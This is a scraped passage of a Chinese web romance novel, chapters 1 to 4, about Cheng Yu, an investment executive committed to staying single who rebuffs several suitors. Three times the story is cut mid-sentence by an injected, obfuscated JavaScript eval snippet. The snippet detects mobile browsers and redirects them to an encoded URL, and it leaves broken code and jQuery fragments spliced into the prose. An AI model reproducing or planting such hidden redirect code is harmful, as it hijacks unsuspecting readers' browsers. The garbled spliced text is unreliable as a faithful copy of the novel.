《他给的实在太多了》 1. 第 1 章 3月14日，白色情人节这天，才是早上十点，刚上班没多久，经纬投资CEO办公室前的某工位，桌上便摆满了各色花束。 开放式办公区今早没什么人，有些是还没到，有些是出去跑外勤了，剩下几个在的，全在八卦闲聊—— “这么多花啊？” “我怎么觉得比上个月情人节那天还多啊？” “今天什么日子啊？哦对，差点忘了，白色情人节。” “不愧是咱们程总啊。” …… 几人正聊着，又一个穿着蓝色衣服的跑腿小哥到了，怀里捧着花，手里是手机，办公区扫视了眼，左右看看，出声对附近工位的一个女员工道：“请问程郁是哪位啊？我来送花的。” 女员工看着跑腿小哥，指了指他身边那个摆满花的工位。 小哥扭头，一句“谢”字没脱口，看见工位上满是花束，吓了一跳。 “这么多啊。” 小哥惊叹。 说着，把怀里的花也摆了过去，摆完不久留，边低头点着手机边迅速转身走了。 “啊~~” 有人发出叹息：“羡慕啊。” “真是旱的旱死，涝的涝死。” 另一人道：“咱程总单身么，又那么好看，还有能力，赚得又多，追的人肯定不少啊。” 大家渐渐不聊了，都忙自己的去了。 不久，一个年轻女孩儿快步走进，看见离CEO办公室最近的那个工位上摆了那么多花，眼睛瞪了瞪，惊讶。 接着，女孩儿走到工位旁，举起手机拍了张照。 这时有人了然道：“不用问，程总肯定让扔。” 女孩儿点着手机的手顿了顿，想了想，觉得确实是这样，于是没发消息，手机塞回口袋，走去工位，把花拿起来抱起来，转身向外，准备拿去前台摆着，就当用花做装点了，不然扔了，怪浪费的。 花太多，女孩儿跑了两个来回才搬完，那个工位的桌上终于清爽了。 女孩儿回旁边自己的工位，开始一天的工作。 这时有人问她：“小念，陆总和程总今天去哪儿了啊？” 叫小念的女生转了下头，说：“好像是去广盛大厦的金融峰会了。” 广盛大厦，厅里的峰会会议还在进行，门推开，两道同样个高腿长的身影前后脚一起从门后走了出来。 走在前面的陆泽深神色沉稳，气质显露几分冷傲，脚步很快。 他边走边对身边的程郁道：“以后这种会，能推就推。” 程郁快步跟着，始终落后陆泽深半步，同样的沉稳，面对陆泽深的不满，也应对得游刃有余，说：“会当然无所谓，但那位分管金融的徐局长无论如何还是该见见的。” 又说：“陆总你刚刚和徐局长聊得挺好的，后面有空，我再来安排个饭局，请那位徐局长吃个饭，拉近下关系。” “嗯。” 陆泽深应了下，不再有不满，领着程郁快步向走电梯走去。 程郁脚步快，跟得上比他还高半头的陆泽深，同时语气沉稳语速较快地开口道：“现在出发，可以赶上和‘鹭灵科技’的见面。” “下午两点有和‘添真互娱’老板的见面。” “你晚上七点需要回公司，和新加坡那边的总公司开一个小会。” “会议提纲我已经发你邮箱了，你可以趁着中午或者下午去‘添真’的路上，把提纲看一下。” 说着，到了电梯间，程郁快一步，伸手按了电梯按键，不久电梯到，梯门打开，程郁伸手示意，陆泽深率先抬步走进，程郁随后。 几分钟后，一辆黑色迈巴赫缓缓从广盛大厦的地下车库开了出来…… 程郁，男，现年26岁，五年前从本地S大本科毕业，进入本地top30的一家投资公司做投资助理。 三年后，被猎头挖到现在的经纬投资，成了经纬CEO陆泽深的三助。 他仅半年从三助做到二助，最终成了陆泽深的特助，权利和责任，等同公司副总，颇受陆泽深的认可和公司的重用。 这样的人，不仅年轻有为、事业有成，还长得格外英俊好看，个子也高，有一米八，外形在常出帅哥的投资行业里也算得上是格外出挑，很招眼球。 关键这人性格也好，开朗大方，公司行业内外都有极好的人缘。 还热爱运动，网球高尔夫都打得不错。 喜欢小动物，经常去流浪动物之家做公益。 总之，是个容貌出众、聪明能干、热爱生活、积极阳光的白领精英。 这样的男人，走在哪儿自然都招惹目光，喜欢他的当然也趋之若鹜。 但偏偏，程郁有个不算缺点的“缺点”—— 他是gay，性向男，所以他不喜欢女人。 但他也不喜欢男人，对男人没兴趣。 他是独身主义。 这些年，他没主动喜欢过任何人，而无论谁追他，他都不为所动，坚持单身、不恋不婚。 为什么？ 程郁：没有为什么。我乐意。 迈巴赫平稳地行驶在路上，坐在副驾的程郁低头看了看手里的手机。 他日常消息就多，杂七杂八，但今天，光早上，就有至少七八个男人给他发消息，说祝他白色情人节快乐，并热情地表示送了花去他公司，请他查收，这其中不乏有人给他转5200、13140，甚至99999。 程郁心里有数，知道这都是哪些人，但他连这些人的消息都没点开看，只点开了工作相关的，再指尖一划，就把那些消息略过了。 放下手机，程郁靠着副驾椅背、目视前方，看着车外，放空大脑，让自己短暂地休息片刻。 这时他的助理小念发来消息：【师父父，花都帮你拿去前台啦~】 【你的办公桌这会儿干干净净、纤尘不染。】 【可可爱爱.jpg】 程郁回：【摸摸头.jpg】 爱情？ 程郁嗤之以鼻，碰都不碰。 当晚，跟着陆泽深忙碌了一天的程郁七点多回公司，没他的事了，他下班，去地库，开车回家。 他不喜欢电车，开的油车，一辆五系，三个月前刚买，全款。 他坐在车里，听着歌开着车，身心都很放松。 路上有点堵，但半个小时也到了，他租的房子离公司并不远。 到家，推门进屋， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233795|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二层的复式公寓宽敞而整洁，还有向南的大面大玻璃窗，看了就让人觉得喜欢。 程郁进来，哼着歌，身心又放松了不少。 不久，换了居家服洗过手的程郁来到厨房，打开冰箱，准备简单给自己做点吃的。 而冰箱里什么都有，想吃什么就做什么，健康又有营养，这也是让人舒服的生活之一。 又过了不久，程郁用电磁炉上的热锅煎好了牛排和芦笋，端到餐桌上，边吃边用平板看电视剧，不要太惬意。 九点多，洗过澡的程郁已经一脸放松闲适地躺到了二楼那张松软的床上，床边的床头柜上，摆着他自己切的果盘，里面都是他喜欢的水果。 舒~~服~~ 程郁趴在床上，边用小叉子吃着水果边玩儿着手机，手机上，好友张君宁给他发了消息：【照片】【照片】【照片】 一溜的照片，点都来不及点。 而这些照片上，全是张君宁和裸着半身的肌肉帅哥的合照。 程郁看着，笑了笑，一一点开，一一看过，知道张君宁这会儿正在潇洒。 张君宁给他发：【尖叫.jpg】【这家新酒吧太特么劲爆了！】【里面的男人一个比一个帅！】【身材一个比一个好！】【我超爱！！！】 程郁看着，又笑了笑，发过去语音：“你就疯吧你。” 张君宁不久后也发过来语音，背景里有嘈杂的音乐，他的声音则非常亢奋：“这里简直是我的天堂！！我爱死了！！” “改天你休息，我带你来。这家的酒也特别好喝！” 【行啊。】 程郁笑回。 这时又有另一个朋友给程郁发来消息，程郁正要点，手机屏幕的上方切进来一个陌生号码的来电。 程郁接了，就听见手机那头有个声音有点熟悉的男人道：“程郁，是我，韩龙金，你今天收到……” 程郁直接挂了，号码拉黑。 这些年，程郁拒绝人早拒绝出自己的经验了。 大部分人，好好婉拒，好好说，态度明确，对方还是能接受的，也不会多纠缠，毕竟程郁能遇到的、追求他的，基本条件都非常好，大家都讲求一个体面。 但这个韩龙金，陆续追求程郁已经有半年之久了，程郁一再拒绝，对方始终不放弃，死缠烂打，程郁无法，只能冷着态度处理。 本来两人已经有两周没有再有任何联系了，程郁差不多快把这个韩龙金忘记了，也以为韩龙金放弃了，哪知道这会儿又打来电话。 真无语。 程郁把号码拉进黑名单。 刚拉完，又一个陌生号码发来消息，说：【小郁，我真的喜欢你，我不会放弃的。】 程郁十分无语地翻了个白眼，把这个号码也拉黑。 他真不知道韩龙金哪里有脸在他这儿装深情的。 他韩总的“赫赫声名”摆在那儿，男女都玩儿，花得不得了，追求程郁的同时身边的人就没断过。 脏得要死。 程郁轻嗤。 切回微信，程郁继续和朋友聊天说笑八卦，再吃吃水果，好不惬意。 总之没有感情这种麻烦的东西，程郁觉得自己活得格外自在潇洒。 2. 第 2 章 程郁这样，是因为以前受过情伤？ NO，NO，NO，程郁没恋爱过，也从来没喜欢过谁，他纯粹是看得多，醒悟得早。 十几岁刚开窍的时候，他也是向往憧憬过爱情的。 那时候虽然同龄的男生看起来都挺幼稚的，但架不住同性身上有程郁向往喜欢的青春气息。 有那么个别男孩子，帅、个高、腿长、身材好、说话做事满满的朝气，打起球来的那股子劲儿，跟球星似的，程郁挺欣赏的。 但程郁从小就生活在感情匮乏的环境里。 他的父母就没有做好该做的榜样，他小时候，父母不是在吵架就是在打架。 爱情感情？没有的。 只有无尽的矛盾和争吵。 在程郁看来，他们也不爱孩子。 所以爱到底是什么呢？ 程郁从小就有这样的疑问。 后来在他小学的时候，他父母离婚了，各自组建了家庭，程郁跟着妈妈。 程郁以为他妈妈嫁了叔叔，是因为喜欢叔叔。 他一直是这么以为的。 不是吗？ 如果没有感情的话，为什么又要结婚呢？还又有了孩子？ 直到后来他从他妈妈和亲戚们的聊天中才知道。 他妈之所以嫁给叔叔，是因为叔叔有房有车有正经工作、工资不低。 他妈看重这些，所以才再婚了。 感情？ 从他妈和亲戚们的闲聊中，程郁没有听到半个字的感情。 另一边，他再婚的生父则更进一步的给他“上了一课”—— 他爸再婚后，继续和现任老婆吵架打架。 还出轨了，又离婚了。 感情？ 爱情？ 根本不存在。 他爸身边换了一个又一个女人。 他爸让程郁喊这些女人阿姨，程郁喊了。 程郁起先以为，这些女人跟着他爸，是因为喜欢他爸，他爸也喜欢这些阿姨。 可后来程郁才知道，他爸和这些女人在一起，不是因为喜欢，是因为他离不开女人，需要女人，需要性。 这些女人跟着他爸，也不是因为所谓的感情，是因为他爸做生意，有钱。 程郁上学的时候，和班里同学聊天，有同学告诉他，说自己的爸爸在外面有女人，妈妈知道，但是妈妈假装不知道。 程郁那时候满心困惑。 人和人在一起，不是因为感情吗？ 可他们为什么又常把“我爱你”挂在嘴边？ 如果有感情的话，为什么会出轨，又为什么会睁一只眼闭一只眼地容忍？ 程郁不懂。 后来，程郁初中高中，又见证了班里令人羡慕的一对情侣劈腿，看见男生前脚在教学楼前和自己的女朋友吻别，后脚搂着别的女孩子说说笑笑； 还见证了学校里的劲爆大瓜，听说是高中某班的老师出轨学生，老师的老婆带着人打来了学校。 等等。 程郁那时候就想，爱情感情，是什么很“贱”的东西吗？ 人人都想有，人人都向往，人人都要伸手去够。 可珍惜的，却没有多少。 后来程郁上了大学，见身边的男男女女又多是如此，即便正常恋爱，也不过是情侣凑在一起吃饭、上课、自习、逛街、开房，程郁就觉得爱情这东西真的很没有意思。 这世上有好的爱情吗？ 程郁相信，肯定是有的。 但程郁觉得，如果其他芸芸众生的普通人的爱情不过如此，那他这个普通人，又能有什么好的感情呢？ 他作为一个人，一个普通人，有什么特别的吗？ 他凭什么有？ 所以程郁在大二的时候，彻底放弃了爱情这种东西。 他觉得既然自己人生中的感情会和其他普通人一样寻常甚至稀巴烂，那不如没有。 就这样，程郁成了不恋不婚的单身主义人士。 而这些年，他的经历和见闻更加印证了他的选择是正确的—— 他爸身边的阿姨换了又换； 他奶奶去世了，才两个月，他爷爷找了个老太婆同居，给老太婆买奶奶舍不得买的金首饰； 他妈和叔叔的感情不好，经常吵架，打电话给程郁抱怨； 他大学舍友和几个朋友，都在毕业后和学生时期的情侣分手了，有人很快谈了新的朋友，有人在家人的张罗下开始相亲结婚； 毕业工作后，认识的朋友同事里，结婚的很多，但夫妻夫夫感情好的非常少，男人抱怨，女人也抱怨； 目睹听闻的炸裂的男男男女关系，更是数都数不过来； 他如今的顶头上司陆泽深陆总曾经有个恋爱多年青梅竹马的未婚夫，未婚夫却在他们的订婚宴上和其他男人跑了； 等等。 反倒是程郁自己，不恋不婚后，大把的时间精力给了工作，事业一路平步青云、水涨船高。 他在S市这座一线城市稳定扎根了下来，还交了很多朋友，住公寓开宝马，有空和朋友出去潇洒，到处旅游，过得不要太惬意。 所以，程郁为什么要和感情爱情这种东西产生瓜葛牵扯？ 他的觉悟和人生经历见闻都告诉他，主动放弃爱情这种东西，是正确的，也是他的个人选择。 他今年26岁，坚持单身主义至少有六七年了。 他相信下一个六七年，下下个六七年，再下下个六七年，他依旧会坚定地远离爱情、保持单身。 哦，sexy啊？ 自己动手丰衣足食啊。 乱搞什么的，程郁嫌脏。 他也不介意做一辈子处男。 程郁：单身万岁！ 次日，程郁正常起床正常上班——下楼梯，电动窗帘打开，阳光照进，又是美好的一天。 不慌不忙洗漱，吃自己亲手做的营养早餐，还能用咖啡机给自己做杯拿铁，出门的时候带上。 打开衣柜，挑件好看的衣服，再选块表，搭配今天的着装。 出门，下楼，拿着咖啡坐进自己的5系。 发车，听着歌上路，开出小区，堵车不要紧，反正他离得近。 到公司，手腕一抬，看看表，时间还多。 拿着咖啡进电梯，到一楼，梯门打开，遇到同事，同事们纷纷和他打招呼：“程总早。” 程郁不紧不慢：“早。” 楼层到，出电梯，程郁脚步轻快、不慌不忙，反正他没有考勤、不用打卡。 进公司，一路都会听到同事和他打招呼说早，“早”，程郁拿着咖啡，走得沉稳。 这就是程郁一天的开始。 也是多少早九早十的打工人向往梦想的闲适体面、不急不忙。 走到工位，程郁正式开始一天的工作。 他站在椅子旁边脱自己的阿玛尼长风衣，衣服搭到椅背，还没坐下，他的助理小念就抱过来一摞文件过来，搁到桌上。 程郁边坐下边道了句：“好，你去忙吧。” 小念提醒：“这里面‘鹭灵’的比较急，放在最上面了。” 程郁“嗯”了声，暂时没碰那摞文件，开了电脑屏幕，不慌不忙。 这时又有人过来，拿着一份文件，递给程郁：“程总，这份要给陆总过目签字。” “是什么？” 程郁边伸手挪了下自己的键盘，边转头看了看。 同事解释了下，程郁伸手接过：“好，给我吧。” 就在这时候，程郁留意到自己工位的角落里摆了一个透明的玻璃瓶，瓶子不大，插了一小束粉蓝相间的花，其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而每次出来吃午饭，十次至少有六七次会遇到有人过来问程郁要联系方式，男女都有。 小念和同事了然又揶揄地默默对视了眼。 桌对面，程郁已经拒绝了男人，男人遗憾地走了，但走之前却说：“你们这桌我来付。” 小念：天呐~ 另一个同事：乖乖~ 程郁笑笑，拒绝：“不用，我在点单软件上已经付过了。” 男人走了，同事说：“干嘛不要他付啊，他要付让他付好了。” 小念：“又不认识。” 程郁吃着菜，缓缓：“不缺这点钱，不占这点便宜。” “再说了，”程郁心里通透：“什么都是有‘价格’的。今天不用付，就要换到未来的某一天来付。” “付出的可能更多。” “也是。” 小念和同事都点头。 但等到吃完买单的时候，程郁没要和小念他们A，直接把账结了。 小念：“师父父，这个钱，我今天不付，是不是以后哪天要付啊？” 程郁笑：“请你的，你试用期，才多少工资。” 小念嘻嘻笑。 当天下午，程郁难得在办公室，三点的时候，他主动道：“叫下午茶吧，我请。” “好诶~！” 同事们开心，纷纷道：“谢谢程总，程总大气！” 程郁转向隔着一个通道的小念：“给陆总也点一份，黑咖，不加奶不加糖，蛋糕点慕斯的。” “好。” 小念应下。 3. 第 3 章 连着几天，陆泽深没有工作时间外出，程郁也都留在工位上班。 这几天，程郁工位角落的那瓶花，每天早上都会换上新的一束，明明只是简单的几支花，搭得却漂亮，棕色的小卡片如同巧思，和花束在一起，也不显得突兀。 程郁看了就觉得赏心悦目。 而这几天，之前白色情人节送花的几人，约莫意识到自己没有希望，基本都偃旗息鼓了。 没放弃的，还在给程郁发消息的，程郁明确拒绝、言词坚定，个别人也就不再折腾了。 但韩龙金又连着送来了花，还给程郁打电话发消息。 花被程郁亲手扔进了垃圾桶，所有号码无一不是加进黑名单。 不回应不联系不理睬。 程郁也为此有点不爽。 不明白韩龙金这种身边根本不缺人的花花公子，到底看上自己什么，能这样盯着他死不放手。 程郁上班的时候趁空摸了个鱼，坐在自己工位，电脑微信上和张君宁吐槽韩龙金。 张君宁回：【得不到的永远在骚动呗。】 【你信不信，你要主动贴过去，他保管没几次就对你没兴趣了。】 【贱的。】 张君宁：【他纠缠你了？麻烦吗？要不要我找人帮你？】 程郁：【暂时不用，冷处理吧。】 张君宁：【你越冷，他越觉得你带劲儿，越想降服你。】 程郁：【降服？哭笑不得.jpg】 【我是西游记里的妖怪啊。】 张君宁：【你是大美人。】 【大美人，来‘KeepLip’啊。】 KeepLip就是之前张君宁玩儿得很嗨的那家酒吧。 程郁：【等周末吧，今晚我要替老板去个沙龙宴。】 张君宁：【大眼睛眨巴.jpg】【沙龙啊，有帅哥吗？】 程郁：【有帅的，但都渣，要吗。】 他们投资行业帅哥是不少，但不少男男男女的关系都挺混乱的。 其实不止他们，只要是钱多的行业，很多都这样。 张君宁：【算了，我还是KeepLip摸八块腹肌吧。】 当晚，程郁去沙龙晚宴前，开车回公寓换衣服。 他今天里面搭的是件米色的V领毛衣，穿得很休闲。 他们公司其实不讲究穿着，好看体面就行，但沙发晚宴么，正式场合，还是穿衬衫西服更合适。 程郁回了公寓，打开衣柜挑衣服。 刚把熨烫平整的一件白衬衫从柜子里拿出来，他妈姜月惜的电话打了过来。 程郁接了，开了公放，手机扔在床上，人站在床边换衣服：“妈。” 姜月惜开口就道：“你给你弟打个电话，我打电话，他又不接了。” 程郁脱掉了米色毛衣，套上了衬衫：“我是信号中转站吗？动不动帮你打电话给他？” 姜月惜口气软了下来：“你就打一下嘛，你知道的，你弟不听我的，也不听他爸的，就听你的。” “知道了。” 程郁系着扣子：“那挂了吧，我来打。” 电话挂了，程郁弯腰，从床上拿起手机，联络人里翻找到弟弟戎巍的电话，拨了过去，手机再扔回床上。 电话被接通的时候，程郁在用袖扣系袖口。 “哥。” 戎巍接的不慢，声音也很积极：“你找我啊？什么事啊？” 程郁系着袖扣：“你妈给你打电话，说联系不上你？你给她回个电话。” “哦。” 戎巍的声音马上变得闷闷的，有些失望的样子：“我以为你找我呢。” 程郁沉稳的，语气不变：“干嘛了，她找你，你不接电话？” 戎巍嘀咕：“找她拿钱，她不给我。” 程郁：“买什么？” 戎巍：“没什么，就是我手机坏了，想换个手机。” 程郁一下猜到了：“想换苹果？” 戎巍：“嗯。” 程郁：“你手机不是去年刚换吗？” 戎巍的声音听起来有点不爽，还有点委屈：“坏了啊，掉水里了。” 程郁：“我的16上次被我换了，是好的，能用，你要不嫌弃……” 还没说完，戎巍立马开心道：“谢谢哥！我要！” 程郁好笑。 程郁穿完了衬衫、系好了袖扣，床上拿起手机：“我寄给你还是怎么？” 戎巍：“你周末来我学校啊，我请你吃食堂。” 戎巍也在S市，上的大专，今年大一，他们学校的食堂好吃得出名。 程郁想了想：“也行，那我周末过来。” “好耶~！” 戎巍开心了。 程郁开始套西服外套：“记得给你妈回电话。” “好！” 戎巍答应得爽快。 电话挂了，程郁踩着楼梯噔噔噔下楼。 他也不用给姜月惜打电话特意告知了，戎巍会打。 程郁出门，赶去沙龙。 沙龙在金鳞路，离得稍微有些远，程郁开了40分钟才到。 到了，上楼，是家酒店的宴会厅。 程郁在门口签到，签的是陆泽深的名字。 进去后，程郁遇到几位行业里的熟人，迎过去，打招呼寒暄了几句。 对方问：“你们陆总今天没来？” 程郁笑笑：“陆总太忙了。” 实则是陆泽深最讨厌不必要的应酬。 程郁脚指头想都知道，陆泽深这会儿没事，不是在健身房健身，就是在球场挥杆打高尔夫。 程郁心里：诶，特助的命不是命啊~~ 罢了。陆总开他那么高的工资，看在钱的份上。 程郁举着香槟应酬了两圈，自己递了名片，也收了几张名片，还加了几个微信好友，腿都站酸了。 他放下香槟，不跟人周旋应酬了，去了里面的自助餐厅，拿盘子找东西吃。 结果刚坐下，才吃了几口，一道身影在他对面落座了下来。 ？ 程郁下意识抬眼，他看到了一个奇怪的男人—— 男人穿了白衬衫、藏蓝色西服，是这个沙龙晚宴场合该有的着装没错，但男人有着与这个场合的大部分人都截然不同的偏暗肤色，不像坐办公室的精英白领，像刚从海滩边晒回来的。 他还是个寸头，头发特别短，发渣贴着头皮，根本不是白领精英们会有的发型。 他样貌倒是不差，眉骨高、鼻梁挺，眼窝深邃。 然而他显露的气质却是偏凌厉的，即便这会儿的目光并不锋利，但给人的感觉…… 程郁看着男人，默默想：我不欠钱吧？他追债的啊？ 硬汉。 对视的眨眼间，程郁脑海里冒出这两个字。 “你……” 对男人外貌的观察只是瞬息间，眨了眨眼，程郁不知来人有什么目的，为了掩饰自己这会儿的内心活动过于丰富，他主动向男人伸手：“你好？” 男人也伸手：“你好。” 手一握上，程郁又意外了下——男人的手格外宽大，掌心温暖。 程郁脑海里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233797|165989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搜索，确认自己不认识眼前的男人，也没在行业内外见过这人。 男人则在收回手后沉稳地看着程郁，接着沉稳开口道：“我叫谈兆天。” “双火的谈。” “光纤的兆。” “天空的天。” 啊。 程郁看着男人，点点头，落落大方道：“我是经纬投资的程郁，你好，幸会。” “幸会。” 男人也道。 程郁正准备放下筷子，礼貌地和对方寒暄几句，却听男人道：“下面要说的话，冒昧了，可能不会太礼貌，不过还是想直接一点。” 嗯？ 程郁不解，看看男人，缓缓放下筷子。 男人直视着他，声音不大，字句清晰：“我很喜欢你，想要追求你。” “…………” 程郁差点呛一口。 程郁确实也垂着眸干咳了一声，为了掩饰尴尬。 他当这硬汉来干嘛，原来…… 再抬眼，程郁神色如常，笑了笑，是他惯常面对人的利落和大方，同时没有犹豫的，程郁开口道：“谢谢你喜欢我，也算是对我的欣赏和认可。” 程郁下一句：“不过抱歉，我无法答应你，任何情况都不行，并且明确的拒绝你。” “你不用继续喜欢我。” “也不必追求我。” “所有，我都不接受。” 程郁看着男人，说完，又道：“我表述得清楚吗？” 谈兆天也看着程郁，点了下头，默了瞬息，他说：“可以给我一点时间，介绍下我自己吗？” 男人的声音偏低沉，和他的样貌气质一样，给人硬朗硬汉的感觉。 程郁沉稳的，态度很坚定，反问：“是我没有表述清楚吗？” “你不用介绍你自己。” “我已经拒绝了。” “你的情况，我不用知道。” 又笑笑，客气礼貌道：“把时间和空间都留给我自己好吗。” “我有点饿，想一个人安静地吃点东西。” “好。” 谈兆天没有任何纠缠，很果断地起身。 程郁心里松了口气，觉得男人还不错，没有像有些自视甚高自说自话的男人那样在他面前说个不停。 但就在这时，程郁余光一瞥，看到不远处一道熟悉的身影——韩龙金。 韩龙金似乎刚到，正站在不远处用目光搜寻着什么。 程郁看到韩龙金，眼看着韩龙金就要朝他这儿望过来，他下意识伸手，拉住了那位起身正要从他身边离开的谈兆天的胳膊，让谈兆天面朝自己，挡在了自己身前，同时也挡住了不远处韩金龙的视线。 程郁当然知道自己“利用”了这位刚刚向自己表白失败的硬汉。 他没办法，硬汉至少拒绝了就走，韩龙金可是个麻烦。 程郁拉住谈兆天后，松手的同时抬眼，求助的眼神看了看男人——帮个忙，拜托了。 男人很高，站在桌旁、程郁身边，没动。 他低下头，可以看到程郁的发顶，还能看到程郁挺翘漂亮的鼻尖和纤细浓密的睫毛。 程郁坐着，视角低，没看男人，等着，又探身微探出目光，看向不远处、谈兆天身后。 见韩金龙走了，程郁放心了，抬头，落落大方地冲谈兆天笑笑：“谢了。” 同时起身，笑笑说：“我走了。” 程郁就这么走了。 谈兆天站在桌边，看了看程郁离开的背影，又转头，锋利的目光沉默地瞥了眼之前程郁躲着的那个男人的方向。 4. 第 4 章 程郁很快就把那个在沙龙晚宴上向自己表白失败的硬汉忘得差不多了。 追他的、表白的，太多了，他要每个都记得，得费多少脑细胞。 至于韩龙金，程郁觉得对方真是有点阴魂不散的意思。 他怀疑韩龙金之所以会在沙龙晚宴上现身，搞不好就是为了“逮”他。 真被“逮”住了，程郁都能想象得出来到时候想脱身得多麻烦。 程郁琢磨，得想个什么办法，让韩龙金可以不再纠缠他。 他担心韩龙金会不达目的不罢休，回头别跑来公司。 意外的是，沙龙晚宴之后的几天，韩龙金没有再送花过来，也没有电话消息轰炸，安安静静。 程郁巴不得。 周六，程郁休息，拿上自己的旧苹果16，开车去了戎巍的学校。 跟车排队领通行证进学校的时候，程郁见自己前面是辆黑色大G，多看了几眼，挺喜欢的，琢磨以后有钱，自己也换一辆，就是不知道好不好开。 程郁想着等会儿到了停车场，如果方便，可以去找大G的车主搭讪问问。 之前他买五系，就是马路上随便搭讪的一位五系车主，车主不但和他聊了会儿，还特别好心地开到空的地方，让程郁坐进去开了片刻。 到门卫处，落下车窗，程郁递上自己的身份证，交换着领了通行证，开进校门，跟上前面的大G。 程郁以为大G也去停车场，戎巍他们学校规定，外来车辆不能在学校里乱晃，只能停去固定的那个大停车场。 直到到了一条分叉路，大G左拐，和程郁并不同路。 哦，估计是内部车辆。 程郁继续往右开。 戎巍早在停车场等了，等到程郁，特别开心。 程郁一抛，把手机连盒子一起抛给戎巍，戎巍接过，可开心了：“谢谢哥！” 程郁边走边问：“去几食堂？” “三食堂吧。” 戎巍走近，一手拿手机，一手下意识就要搭程郁的胳膊。 程郁拍开他的手：“别肉麻。” 戎巍偏要搭着：“才不肉麻，你是我哥。” 程郁边走边和他闲聊：“你在学校也这么和舍友朋友黏黏糊糊的？” …… 走了一半，见不远处有高的吊塔、正在施工，程郁随口道：“建的那楼是干什么用的？” “哦，听说是实验楼。” 戎巍随意道，又说：“我舍友不是学土木的么，他们系主任跟他们八卦，说我们学校这个建楼的承建方，他们老板，可有钱了，富得流油。” “听说我们学校的几个食堂和好几个店，也都是他承包的。” …… 不久，快到食堂了，很巧，程郁又看见了那辆黑色大G，就停在路边。 戎巍也看到了，盯着看，很喜欢，说：“真大真酷啊。” 程郁眼尖，发现车灯闪了闪，车上是有人的，“诶”了声，问戎巍：“想不想看看大G内饰？” 戎巍：“想啊。” 程郁爽朗的：“走，过去打个招呼。” 算半个i人的戎巍：？ 两人很快走到车旁，黑色大G近两米的高度，比程郁还要高一点。 主驾的车窗升着，贴了膜，从外面看不见里面。 程郁知道车里有人，抬手，敲了敲玻璃，玻璃很快落下。 “你好……” 程郁正要大大方方地打个招呼，看见主驾方向盘后坐着的男人的那张脸，一下愣了。 硬汉？ 他一时没想起男人的名字，就记得他们见过，在几天前的沙龙晚宴上。 他还拉住男人帮他挡了下韩龙金的视线。 这么巧啊。 程郁当然完全料不到。 他马上不搭讪了，道了句“不好意思啊”，拉了下戎巍的胳膊，走了。 还没走过大G宽大的车头，男人低沉的声音从身后传来：“等等。” 程郁自然不等，回了下头，视线都没细看，抬手又招呼了一个“不好意思”。 ？ 走在程郁身边的戎巍跟着扭头。 戎巍看清了，看到大G主驾的车门开了，车上下来一个个子几乎和车身差不多高的男人。 “哥，你认识啊？” 戎巍还扭着脖子，盯着男人看。 “不认识。” 程郁觉得世界真小，这都能偶遇。 算了，看什么大G，吃饭。 结果没多久，大G的黑色车身超过程郁和戎巍，谈兆天开着车，匀速跟在程郁身边，车窗完全落下，露出男人那张五官深邃的硬汉脸。 然后，谈兆天说：“是想看看车吗？” “没有。” 程郁向主驾微偏了下头，唇角勾了勾，应付人的假笑，目光压根没看车里的男人。 “你看吧，我停车，” 谈兆天声音低沉而沉稳：“要开了试试吗？” “真不用，谢谢。” 程郁拒绝，步子不停，脚虽然走不过车，好在食堂大门就在不远处，门口还有挡车的大石墩。 车不得不停下，程郁带着一脸问号看他们的戎巍进了食堂。 一进食堂，程郁兀自挑挑眉，心想还真巧，这都能遇见。 戎巍凑过来，马上问：“哥，你认识那个大G男啊？” “不认识。” 程郁伸胳膊勾他的脖子：“小孩子别乱问大人的事。走吧，去吃饭，刷你的卡。” 聊着：“卡里有钱吗？” 戎巍：“不够你充？” 程郁：“想得美。” 程郁这时候想起来了。 哦，那个男人叫谈兆天。 程郁本来还担心谈兆天会不会追进食堂，事实证明他想多了，男人并没有跟过来。 只是吃饭到中途，有个戴着红色袖套、负责食堂秩序和安全的学生过来，弯腰到程郁和戎巍身边，递上来一把车钥匙，说：“有人让我把这个给你们，还说车就在门口，随便开。” 戎巍：？ 定睛一看，是奔驰的车钥匙，没猜错的话，就是门口那辆大G的车钥匙。 戎巍眨巴眼睛。 程郁更早的反应过来了，没接车钥匙，摇头：“不用，谁给你的，你还给他，麻烦了。” “哦，好。” 学生迟疑了下，没有多说什么，拿着车钥匙转身走了。 之后也没有再过来。 戎巍自然追问道：“哥，大G男你肯定认识的吧？” 想了想，“卧槽”道：“不会是你的追求者之一吧？” 程郁撩撩眼皮：“吃你的饭。” 等程郁和戎巍吃完，走出食堂，那辆大G还在门口。 戎巍好奇探究地看过去，程郁没看，更不会过去，和戎巍直接走了。 而程郁不知道的是，大G上这会儿没人，谈兆天在食堂旁边一个小卖部的门口，不远不近的，看着他们从食堂走出来，又看着他们走远。 男人没什么神情，但目光一直在程郁的背影上。 直到看不见了，男人才转身离开，进了食堂。 他没吃饭，而是去了食堂一角专门充饭卡的小玻璃间。 一推门进去，电脑后坐着的一个男人便打招呼道：“天哥。” 